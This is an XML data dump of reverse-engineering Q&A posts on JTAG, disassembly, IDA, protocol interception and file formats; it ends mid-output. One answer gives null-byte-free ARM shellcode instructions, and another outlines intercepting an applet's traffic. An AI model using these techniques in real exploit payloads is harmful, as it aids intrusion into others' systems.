  <row Id="11100" PostTypeId="2" ParentId="11099" CreationDate="2015-10-13T13:55:59.300" Score="4" Body="&lt;p&gt;You have picked a particularly hard target to try and find JTAG on, if this is your first project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no obvious JTAG ports on the board. The microcontroller looks to be in a BGA package, so you can't trace the pins from there. Same with the flash. It is almost certainly a multi-layer board as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there are a number of options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It may never have used JTAG. Very small and light devices sometimes have the processors programmed off-board, or simply have a basic bootloader that can communicate using normal channels.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The multi-way connectors may have been used for JTAG - the smaller one on lower right looks JTAG sized. However, those types of connectors are often rated for &amp;lt;100 insertion cycles, so JTAG would be uncommon on these.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are a lot of test points. JTAG could be on these, but you would really need something like the JTAGulator to find it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sometimes, light boards have a snap-off connector used for initial programming.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would attack this from a broader perspective. Personally I would try and desolder the flash, reball it and then read it. This is not trivial either.&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="1388" LastEditDate="2015-10-13T14:10:04.507" LastActivityDate="2015-10-13T14:10:04.507" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11102" PostTypeId="2" ParentId="11084" CreationDate="2015-10-13T21:51:17.130" Score="0" Body="&lt;p&gt;This is a standard GCC-generated prelude of a function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;and     esp, 0FFFFFFF0h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;aligns stack on 16-byte boundary, then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub     esp, 20h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;reserves all stack used inside the function (also aligned on 16-byte boundary, see &lt;a href=&quot;https://en.wikipedia.org/wiki/Data_structure_alignment&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Data_structure_alignment&lt;/a&gt;). Then all operations with current local stack variables, including arguments to called functions, are done as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     [esp+20h+XXX]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;MSVC 2010 (and probably others) would do more pushes instead of this mov-ing&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2015-10-13T21:51:17.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11103" PostTypeId="1" AcceptedAnswerId="11132" CreationDate="2015-10-14T08:12:22.740" Score="7" ViewCount="925" Body="&lt;p&gt;When I debug an application inside the IDA Debugger, sometimes I get referenced to a .debugxxx segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are those segment ?&#xA;Heap allocations ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, why are they called .debug ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, even if I stop the debugger at the entrypoint of my application, there are already 3 or 4 .debug segments, at the beginning and at the end of the address space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What type of data do they contain ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sorry for this post, but I could not find any concrete information anywhere else.&#xA;It has already been asked &lt;a href=&quot;https://stackoverflow.com/questions/10890129/whats-debug-section-in-ida-pro&quot;&gt;here&lt;/a&gt;, but I don't find that the replies were anwsering the question in the title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="13848" LastActivityDate="2017-01-09T08:27:47.330" Title="What is the meaning of the &quot;.debugxxx&quot; segments in IDA Debugger?" Tags="|ida|segmentation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11105" PostTypeId="2" ParentId="11096" CreationDate="2015-10-14T13:17:54.987" Score="4" Body="&lt;p&gt;As you guessed correctly, you have to find out the correct starting address of the bootloader image. Based on the bootloader in the latest firmware image (TL-WR702N_V1_141203) I recommend you to try 0x80400000 as the start address.&lt;p&gt;&#xA;Although I don't know a simple and exact method to calculate the start address I try to explain a little bit more how can you found this anyway.&lt;p&gt;&#xA;You can try the following techniques:&#xA;&lt;li&gt;Identify function starts and pointers to the functions and try to match them. If you disassemble the whole binary, the function start addresses can be determined very accurately. So, you can collect the relative start addresses. In most of the binaries and bootloaders, after the code section you will find various data items such as pointers to functions. If you can identify some of these pointers, you can try to find the corresponding relative address.&#xA;&lt;li&gt;You can find hints from the code itself. Although the bootloader uses relative branches, the data items are accessed with absolute addresses. In the figure, you can find the absoulte addresses as 0x804B7F10 and so on.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/aLbuS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aLbuS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;br&gt;&#xA;Based on this address and the length of the code area (0x9B6A4) you may have intelligent guesses, such as 0x80400000 or 0x80408000 or similar.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2015-10-14T13:17:54.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11106" PostTypeId="2" ParentId="11044" CreationDate="2015-10-14T18:31:31.720" Score="2" Body="&lt;p&gt;This took some digging, however it appears you're hitting an interesting edge case that the original author of the scripts didn't consider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;str(StringItem)&lt;/code&gt; calls the following code inside &lt;a href=&quot;https://github.com/idapython/src/blob/0369202c370b9701cd2b2a46e63c2919bf0a7ba0/python/idautils.py#L509&quot; rel=&quot;nofollow&quot;&gt;idautils.py&lt;/a&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    def __str__(self):&#xA;        return self._toseq(False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which leads to &lt;code&gt;_toseq&lt;/code&gt; in &lt;a href=&quot;https://github.com/idapython/src/blob/0369202c370b9701cd2b2a46e63c2919bf0a7ba0/python/idautils.py#L496&quot; rel=&quot;nofollow&quot;&gt;idautils.py&lt;/a&gt;;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    def _toseq(self, as_unicode):&#xA;        if self.is_2_bytes_encoding():&#xA;            conv = idaapi.ACFOPT_UTF16&#xA;            pyenc = &quot;utf-16&quot;&#xA;        elif self.is_4_bytes_encoding():&#xA;            conv = idaapi.ACFOPT_UTF8&#xA;            pyenc = &quot;utf-8&quot;&#xA;        else:&#xA;            conv = idaapi.ACFOPT_ASCII&#xA;            pyenc = 'ascii'&#xA;        strbytes = idaapi.get_ascii_contents2(self.ea, self.length, self.type, conv)&#xA;        return unicode(strbytes, pyenc, 'replace') if as_unicode else strbytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we dig into the &lt;code&gt;get_ascii_contents2&lt;/code&gt; inside &lt;a href=&quot;https://github.com/idapython/src/blob/master/pywraps/py_bytes.hpp#L186&quot; rel=&quot;nofollow&quot;&gt;py_bytes.hpp&lt;/a&gt; method we see that this method could actually return a &lt;code&gt;NoneType&lt;/code&gt; if &lt;code&gt;get_ascii_contents2&lt;/code&gt; fails;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !get_ascii_contents2(ea, len, type, buf, len+1, &amp;amp;used_size, flags) )&#xA;{&#xA;  qfree(buf);&#xA;  Py_RETURN_NONE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Essentially, the code is fine, however you should add a check or exception handling if a &lt;code&gt;str(StringItem)&lt;/code&gt; returns the with a &lt;code&gt;TypeNone&lt;/code&gt; since it is possible for this type of value to be returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could help debug further by providing what the hex data is at &lt;code&gt;ea&lt;/code&gt; of &lt;code&gt;0x208e&lt;/code&gt; with the length of &lt;code&gt;8&lt;/code&gt; as shown in your output;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;208e: len=8 type=3 index=0-&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8103" LastActivityDate="2015-10-14T18:31:31.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11108" PostTypeId="1" CreationDate="2015-10-15T01:54:49.123" Score="2" ViewCount="193" Body="&lt;p&gt;Please help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does SoftICE stop the windows system? Is it hooks IDT ? &#xA;I'm trying use that feature on my hobby driver. Any help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13856" LastEditorUserId="13856" LastEditDate="2015-10-15T02:54:53.927" LastActivityDate="2015-11-14T16:58:47.437" Title="How does SoftICE stop the windows system?" Tags="|softice|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11109" PostTypeId="2" ParentId="11084" CreationDate="2015-10-15T07:56:04.457" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why esp is added with 20h then substracted with 20h and esp doest&#xA;  added to point to next stack location for local vars ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;mov [esp+20h+Format], offset Format&lt;/code&gt; instruction is only a modified view of the &lt;code&gt;mov [esp], offset Format&lt;/code&gt;. The disassembler tries to visualize the local variables and the stack frame in this way. The &lt;code&gt;+20h&lt;/code&gt; is the size of the stack frame and the &lt;code&gt;Format&lt;/code&gt; keyword means the offset of the &lt;code&gt;Format&lt;/code&gt; parameter (&lt;code&gt;-20h&lt;/code&gt;). Since it is a parameter, which will be passed to a function, it is placed at the top of the stack. It would be the same, if the function allocated only &lt;code&gt;18h&lt;/code&gt; stack frame and pushed the parameter values to the stack.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;why the compiler simply didnt generate code like this: &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, var_4&#xA;push eax&#xA;mov eax, Format&#xA;push eax&#xA;call printf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;Because the stack pointer should not be modified in this way and this form is only 1 instruction and not 2.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2015-10-15T07:56:04.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11110" PostTypeId="2" ParentId="11099" CreationDate="2015-10-15T09:01:45.007" Score="2" Body="&lt;p&gt;First, you will need to make a map of every pins on the PCB, you will find a good starter &lt;a href=&quot;http://www.devttys0.com/2012/11/reverse-engineering-serial-ports/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, what I propose is to use a JTAG discovery tool. You can find some like &lt;a href=&quot;http://deadhacker.com/2010/02/03/jtag-enumeration/&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt; or &lt;a href=&quot;http://hsb.wikidot.com/arduino-jtag-finder-workshop&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt; . It just need an Arduino and cables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These tools are usefull to find JTAG pinout, but be careful to use a 5V to 3.3V adaptor as most JTAG are 3.3V compliant, use logic level shifter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be frank when you release such hardware JTAG bus are fused, which means that they blow fuse to break the connectivity. History prove that Microsoft forget sometimes to fuse it (check XBOX360).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can share chips model numbers it would be great as we could find some SPI to use, for example with Bus Pirate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW a back picture would be great.&lt;/p&gt;&#xA;" OwnerUserId="9981" LastActivityDate="2015-10-15T09:01:45.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11111" PostTypeId="2" ParentId="2190" CreationDate="2015-10-15T11:49:44.133" Score="2" Body="&lt;p&gt;UPDATE: This seems to be obsolete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can debug IDAPython scripts using Python Tools for Visual Studio. It is completely free, and very easy to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://sark.readthedocs.org/en/latest/debugging.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; for this information.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastEditorUserId="12872" LastEditDate="2019-08-07T12:33:38.853" LastActivityDate="2019-08-07T12:33:38.853" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="11112" PostTypeId="1" CreationDate="2015-10-15T11:54:27.237" Score="1" ViewCount="1003" Body="&lt;p&gt;I am trying to reverse engineer the protocol of a chat written in java to implement my own client. The official client is a java applet embedded in the website so I thought it might use just https but I found using wireshark that it uses a generic protocol and an arbitrary port. My first approach was to use the java proxy settings and proxifier to force the traffic through fiddler in hope it might give me some more information about the protocols structure but with no success - fiddler did not even recognize the traffic but I guess thats because it was developed for http/s traffic only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: How can I reverse engineer the protocol used? I thought that there has to be something similar to fiddler using a socket proxy or a network bridge (similar to what a lot of VPN clients use) but I could not find anything working under windows. Another approach would be to decompile the java binaries but I am not really interested in the code itself only in the protocol. Any suggestions how to proceed from here? &lt;/p&gt;&#xA;" OwnerUserId="13863" LastActivityDate="2015-10-15T13:11:37.830" Title="Decrypt SSL/TLS traffic from a Java web applet" Tags="|decryption|java|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11113" PostTypeId="2" ParentId="11112" CreationDate="2015-10-15T13:11:37.830" Score="3" Body="&lt;p&gt;You don't really need another tool if you know how to use wireshark. Wireshark will let you extract the TCP part of a stream, which is exactly what you'll get using any kind of proxy or network bridge as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your description, i assume the protocol isn't just some kind of plain text, like your chat being encapsulated into SOAP in XML - it'd be easy to analyze this. The problem with binary data is that you can make some guesses, but if they don't fit, you can't really do much more than analyze the applet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i'd do if i were you is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Force wireshark to treat the connection as SSL (right-click a packet, &quot;Decode as&quot;, then select SSL). If the communication is SSL-encrypted, wireshark should at least find a decodable client hello / server hello packet exchange at the start. If that packet exchange makes sense, you could proceed with fiddling with DNS to redirect the client's request, and set up fiddler, stunnel, or mitmproxy to receive, decode, and forward those requests.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Capture a few dozen KB of traffic, and save the resulting TCP stream to a file. Try to compress this file with gzip. If it compresses well, then the TCP stream probably isn't compressed, just encrypted with a weak, XOR like, algorithm. Type 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' into the chat. Then type 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb' into the chat. Check what happens with the data on the wire. Maybe this will give you a hunch how the data is encoded and an idea of how to proceed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the TCP stream doesn't compress, it's either precompressed, or encrypted with an algorithm that adds a lot of entropy. Comparing the size of the chat text with the size of the TCP stream might give you an idea which it is. If it's compressed, check the first few bytes of each packet, if they're similar, it might be that each packet has its individual compression. Check these first few bytes, or the first bytes of the stream, against signatures of well-known compression algorithms.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If all this doesn't help, you best guess is running the whole thing through a java decompiler (there's a nice collection at &lt;a href=&quot;http://www.javadecompilers.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.javadecompilers.com/&lt;/a&gt;), as there's not really a good way to guess an encryption algorithm and/or key from the output byte stream alone.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By the way, it can't hurt to mention on which web site you found the chat (even if it's something embarassing like littlenudegirls.com, as you're not using your real name here); maybe someone else is reading this and has more detailed information to share about your particular web site, or maybe someone will google for that in the future and contact you to work on it together.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-10-15T13:11:37.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11114" PostTypeId="1" AcceptedAnswerId="11121" CreationDate="2015-10-15T14:02:59.807" Score="1" ViewCount="494" Body="&lt;p&gt;I’m trying to write some basic ARM shell code that loads up the r0 register with 0. I cannot use null characters. I can see that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;subs r2, r2, r2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;sets r2 to 0 without using any null bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, any attempts to move r2 to r0, results in shell code that uses null bytes. Any advice on what I could do? &lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-10-16T06:38:55.703" Title="ARM shellcode using r0 without null characters" Tags="|arm|shellcode|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11115" PostTypeId="1" CreationDate="2015-10-15T00:09:19.490" Score="2" ViewCount="449" Body="&lt;p&gt;There is a suspect safari extension on a computer I'm investigating.  How can I locate its install location, and possibly read the source code of the extension?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there an easy way to tell if an extension either came from the developer site, the app store, and/or is part of the Apple developer program?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on what I observed so far, I will need to report this developer to apple somehow. &lt;/p&gt;&#xA;" OwnerUserId="13865" OwnerDisplayName="LamonteCristo" LastActivityDate="2015-12-14T16:24:37.520" Title="How can I decompile and inspect a Safari Extension?" Tags="|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11116" PostTypeId="2" ParentId="11115" CreationDate="2015-10-15T01:31:54.280" Score="2" Body="&lt;p&gt;Safari extensions are just xar archives (according to &lt;a href=&quot;http://www.macosxtips.co.uk/index_files/extract-code-from-safari-extensions.php&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;)&#xA;Open an terminal and unpack like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xar -xf 'TheExtensionName.safariextz'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The javascript (or other) code might still be &lt;a href=&quot;https://en.wikipedia.org/wiki/Obfuscation_%28software%29&quot; rel=&quot;nofollow&quot;&gt;obfuscated&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13864" OwnerDisplayName="SleepProggger" LastActivityDate="2015-10-15T01:31:54.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11117" PostTypeId="2" ParentId="11108" CreationDate="2015-10-15T15:38:03.220" Score="2" Body="&lt;p&gt;SoftICE hooks multiple entries in the IDT for its purposes.  This is visible if you execute SIDT directly.  However, if you ask for the IDT from within the SoftICE UI, you'll see the original value instead.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-10-15T15:38:03.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11118" PostTypeId="2" ParentId="6416" CreationDate="2015-10-15T17:07:29.277" Score="2" Body="&lt;p&gt;You seem to have missed the second tab panel.&#xA;After selecting &lt;em&gt;Options&lt;/em&gt; in the first tab panel, there is an &lt;em&gt;Misc&lt;/em&gt; item in the second tab panel, which seem to be what you are searching.&lt;/p&gt;&#xA;" OwnerUserId="13864" LastActivityDate="2015-10-15T17:07:29.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11121" PostTypeId="2" ParentId="11114" CreationDate="2015-10-16T06:32:28.950" Score="4" Body="&lt;p&gt;Copy/pasted from &lt;a href=&quot;https://www.onlinedisassembler.com/odaweb/&quot;&gt;the online disassembler&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data :00000000  e0522002 subs r2, r2, r2&#xA;.data :00000004  e92d0104 push {r2, r8}       &#xA;.data :00000008  e8bd0101 pop {r0, r8}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, in thumb mode (the push/pop instructions are actually the same, seemingly being byte-swapped due to endianness):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data :00000000 1a92 subs r2, r2, r2&#xA;.data :00000002 0104e92d stmdb r13!, {r2, r8}&#xA;.data :00000006 0101e8bd ldmia.w r13!, {r0, r8}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-10-16T06:38:55.703" LastActivityDate="2015-10-16T06:38:55.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11122" PostTypeId="1" AcceptedAnswerId="11125" CreationDate="2015-10-16T10:44:52.897" Score="1" ViewCount="178" Body="&lt;p&gt;I am new to reverse engineering so this seems like a very basic issue, and still I was not able to find an answer to it myself yet. Hopefully someone can point me in the right direction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on Windows, I disassembled an exe file using &quot;PE Explorer&quot;. For now, my process was to somehow, mostly by trial and error, identify the machine code steps I want to change in the dissasembly, then make the necessary change by opening the same exe in a hex editor, finding the same instruction and changing it there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Side note here: This two step process is quite inefficient. Is there a program you can recommend where I can combine both steps in one go, or at least side by side?) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this has worked for me so far, I believe there must be a better way than doing this by trial and error and manually trying to identify the functions in the machine code. Is there? Particularly, is there a way to run a program (exe) and in parallel follow the steps in the dissasembly (ideally slowed down..)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="13872" LastActivityDate="2015-10-16T14:23:33.070" Title="Follow steps in dissassembly after application start" Tags="|disassembly|windows|debugging|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11125" PostTypeId="2" ParentId="11122" CreationDate="2015-10-16T14:23:33.070" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Particularly, is there a way to run a program (exe) and in parallel&#xA;  follow the steps in the dissasembly (ideally slowed down..)?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, the type of tool you're describing is called a &quot;debugger&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some popular debuggers for Windows are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ollydbg.de/version2.html&quot; rel=&quot;nofollow&quot;&gt;OllyDbg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/index.shtml&quot; rel=&quot;nofollow&quot;&gt;IDA Pro&lt;/a&gt;'s debugger&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://x64dbg.com/&quot; rel=&quot;nofollow&quot;&gt;x64dbg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/Category:Debuggers&quot; rel=&quot;nofollow&quot;&gt;plenty of others&lt;/a&gt;, but these are some of the most user-friendly.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-10-16T14:23:33.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11126" PostTypeId="1" CreationDate="2015-10-16T18:13:35.633" Score="0" ViewCount="360" Body="&lt;p&gt;What is the structure of this database file from an old videogame? &lt;a href=&quot;https://www.dropbox.com/s/ioe26pi3y1w3320/TMDATA1.S8?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/ioe26pi3y1w3320/TMDATA1.S8?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies in advance because fixing specific problems is not really the spirit of Stack Exchange, rather than creating a useful set of Q&amp;amp;As. If you can just point me in the right direction, I'd be really grateful. :-)&lt;/p&gt;&#xA;" OwnerUserId="13876" LastActivityDate="2015-10-16T21:49:46.480" Title="How to identify the structure of this specific data file?" Tags="|binary-analysis|file-format|" AnswerCount="2" CommentCount="0" ClosedDate="2015-10-27T07:39:54.527" ContentLicense="CC BY-SA 3.0" />
  <row Id="11127" PostTypeId="2" ParentId="11126" CreationDate="2015-10-16T18:40:04.060" Score="0" Body="&lt;p&gt;The file does not have a well-known file header (as per &lt;a href=&quot;http://www.garykessler.net/library/file_sigs.html&quot; rel=&quot;nofollow&quot;&gt;http://www.garykessler.net/library/file_sigs.html&lt;/a&gt;). So unless it happens to be a &lt;a href=&quot;http://www.simul8.com/viewer/faqs.htm&quot; rel=&quot;nofollow&quot;&gt;SIMUL8 file&lt;/a&gt; (based on the file extension), you'd need to reverse engineer the video game's code to determine the file format.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-10-16T18:40:04.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11128" PostTypeId="2" ParentId="11126" CreationDate="2015-10-16T21:49:46.480" Score="7" Body="&lt;p&gt;It's certainly not a well known format. A quick glance at the file with a hex viewer shows that it mainly consists of records that all have similar, but not identical, size and layout; the very end of the file seems to be something different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 2 Bytes - 047E - seem to be the number of records (1150).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of the records seems to start with 7 strings that, in most cases, denote a country, adjective for the country, capital, and team name - i'd guess the save file is from a soccer game or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, one of the record starts at &lt;code&gt;1B85&lt;/code&gt; is &lt;code&gt;07 00 Algeria 07 00 Algeria 07 00 Algeria 07 00 Algeria 08 00 Algerian 07 00 Algiers 0F 00 Stade Olympique&lt;/code&gt;. Obviously, these are 2-bytes integers denoting a string length; the fact they are written as &lt;code&gt;07 00&lt;/code&gt;, not &lt;code&gt;00 07&lt;/code&gt;, tells you the file has a little endian structure, which may help identifying other numbers in the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the records have different sizes, but if you take the different string lengths into account, they work out nicely. This is a list of the first record positions, their sizes, and the combined length if strings in them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pos.  size  strings  size w/o strings&#xA;0002  0597  005b     053C&#xA;0599  0582  0046     053C&#xA;0b1b  0582  0046     053C&#xA;109D  056D  0031     053C&#xA;160A  057B  003F     053C&#xA;1B85  0576  003A     053C&#xA;20FB  0569  002D     053C&#xA;2664  0570  0034     053C&#xA;2BD4  ........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Subtracting 0E for the 7 2-byte length markers results in 0x52E bytes that each record has behind the strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, i noticed that many of these bytes seem to be the same in many of the records. So i wrote a small perl program to read the file, and create a histogram to show which byte in which position occurs how often in the records:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl&#xA;&#xA;open(IN, &quot;&amp;lt;$ARGV[0]&quot;) or die &quot;can't open $ARGV[0]: $!&quot;;&#xA;sysread(IN, $buffer, 2);&#xA;$nclubs=unpack(&quot;v&quot;, $buffer);&#xA;&#xA;for (my $i=0; $i&amp;lt;$nclubs; $i++) {&#xA;    printf(&quot;%3d  &quot;, $i);&#xA;    # read strings&#xA;    for (my $j=0; $j&amp;lt;7; $j++) {&#xA;        sysread(IN, $buffer, 2);&#xA;        my $length=unpack(&quot;v&quot;, $buffer);&#xA;        sysread(IN, $buffer, $length);&#xA;        print &quot;|$buffer&quot;;&#xA;    }&#xA;    print &quot;\n&quot;;&#xA;    sysread(IN, $buffer, 0x52E);&#xA;&#xA;    for (my $j=0; $j&amp;lt;0x52E; $j++) {&#xA;        my $byte=ord(substr($buffer, $j, 1));&#xA;        $count[$j][$byte]++;&#xA;    }&#xA;}&#xA;&#xA;for (my $i=0; $i&amp;lt;0x52E; $i++) {&#xA;    my $flag=0;&#xA;    printf(&quot;%03x:&quot;, $i) unless $flag;&#xA;    for (my $j=0; $j&amp;lt;256; $j++) {&#xA;        if ($count[$i][$j]&amp;gt;0) {&#xA;            $flag=1;&#xA;            printf &quot; 0x%02x(%dx)&quot;, $j, $count[$i][$j];&#xA;        }&#xA;    }&#xA;    print &quot;\n&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in (small extract):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;314: 0x00(1150x)&#xA;315: 0x00(1150x)&#xA;316: 0x00(1134x) 0x6b(16x)&#xA;317: 0x00(1150x)&#xA;318: 0x00(1134x) 0x2c(16x)&#xA;319: 0x00(1100x) 